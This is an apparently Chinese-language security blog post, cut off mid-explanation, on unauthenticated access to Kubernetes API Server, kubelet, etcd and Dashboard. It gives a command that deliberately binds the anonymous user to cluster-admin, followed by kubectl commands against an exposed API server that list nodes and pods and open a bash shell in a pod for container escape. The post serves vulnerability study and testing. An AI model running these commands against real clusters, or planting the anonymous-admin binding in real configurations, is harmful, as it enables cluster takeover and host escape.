K8s下的未授权及利用

本文详细探讨了Kubernetes中的未授权访问问题,包括API Server的8080和6443端口、kubelet的10250端口、etcd的2379端口以及Dashboard页面的潜在风险。通过复现漏洞,阐述了如何利用这些未授权访问进行命令执行和权限提升,并介绍了RBAC、服务账户和卷挂载的工作原理。此外,还提供了漏洞检测和防范措施的思考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

它的未授权主要包括以下几种:

  • API Server,默认端口为8080,6443
  • kubelet,默认端口为10250
  • etcd,默认端口为2379
  • Dashboard面板泄露

一、API Server 80806443 未授权访问

K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port),8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于 /etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。

如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。

如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。

漏洞复现

1、8080端口
默认情况下,8080端口是关闭的,需要我们手动开启
vim /etc/kubernetes/manifests/kube-apiserver.yaml
重启k8s
systemctl restart kubectl

访问 8080 端口即可看到存在未授权。

2、6443端口

如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。

正常情况下访问 6443 端口,提示 Forbidden。

执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

知道这种未授权访问,有什么用呢?或者说我们应该如何利用呢?

下面来说说他的利用方式:

我们随便使用一台安装了kubectl的机器就行,简单来说,知道了API server未授权,其实就可以用kubectl来进行命令执行:

查看集群信息
kubectl -s http://101.26.108.16:8080 cluster-info

查看node节点信息以及pod信息
kubectl -s http://101.36.108.16:8080 get nodes
kubectl -s http://101.36.108.16:8080 get pods

查看node和pod的详细信息
kubectl -s http://101.36.108.16:8080 get nodes -o wide
kubectl -s http://101.36.108.16:8080 get pods describe pod escaper

进入到escaper(这是一个可以进行逃逸的环境),进行逃逸
kubectl -s http://101.36.108.16:8080 exec -n default -it escaper -- /bin/bash

补充:

K8s下通过挂载 /var/log 目录逃逸的原理主要是:
  1. 自定义服务账户:首先,在 Pod 中通过 serviceAccountName 指定一个自定义的服务账户。这意味着该 Pod 将使用指定的服务账户进行身份验证和授权。
  2. 授予宿主机目录权限:然后,使用 ClusterRoleClusterRoleBinding 为服务账户授予访问宿主机 /var/log 目录的权限。 ClusterRoleClusterRoleBinding 是 Kubernetes 中用于集群范围授权的机制。这意味着服务账户现在具有访问宿主机文件系统的特权。
  3. 挂载宿主机目录:接下来,在 Pod 的定义中,通过使用 hostPath 类型的 Volume,将宿主机的 /var/l
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值